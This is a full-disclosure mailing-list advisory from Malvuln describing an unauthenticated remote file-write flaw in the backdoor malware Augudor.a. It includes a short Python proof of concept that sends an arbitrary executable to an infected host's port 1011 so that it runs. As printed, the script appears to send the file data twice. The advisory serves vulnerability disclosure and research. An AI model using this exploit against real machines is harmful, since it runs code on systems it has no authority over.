full-disclosure - [FD] Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write

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Message-ID: <CAAHK0WTA5FaLHCTUsCsRDidxF2ZiwXAAqDBhuD_fLUG=MZDuTg@mail.gmail.com>
Date: Thu, 3 Mar 2022 20:54:21 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write -
	RCE

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/bf1b1a2f4be78d6b62ed7c316c77a9a1.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Augudor.a
Vulnerability: Unauthenticated Remote File Write - RCE
Description: Augudor.a drops an empty file named "zy.exe" and listens on
TCP port 1011. Attackers who can reach the infected host can write any
binary file they like to the empty "zy.exe" file on the system and it will
execute as soon as the binary transfer has completed.
Family: Augudor
Type: PE32
MD5: bf1b1a2f4be78d6b62ed7c316c77a9a1
Vuln ID: MVID-2022-0501
Dropped files: zy.exe
Disclosure: 03/03/2022

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1011
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    s.close()

    print("Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write
Code Execution")
    print("MD5: bf1b1a2f4be78d6b62ed7c316c77a9a1")
    print("By Malvuln");

if __name__=="__main__":
    doit()

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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